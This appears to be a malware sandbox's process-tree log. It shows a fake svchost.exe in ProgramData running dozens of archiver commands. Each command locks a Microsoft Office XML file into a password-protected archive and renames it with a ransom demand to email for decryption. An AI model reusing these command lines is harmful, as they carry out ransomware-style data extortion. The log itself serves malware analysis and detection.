                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL121.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL121.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN001.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN001.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN002.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN002.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN010.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN010.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN011.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN011.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN020.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN020.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN022.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN022.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN026.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN026.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN027.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN027.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN044.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN044.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN048.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN048.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN054.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN054.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN058.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN058.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN065.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN065.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN075.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN075.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN081.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN081.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN082.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN082.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN086.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN086.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN089.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN089.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN090.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN090.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN092.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN092.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN095.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN095.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN096.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN096.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN097.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN097.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN102.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN102.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN103.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN103.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN105.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN105.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN107.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN107.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN108.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN108.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN109.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN109.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN110.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN110.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN111.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN111.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN114.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN114.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
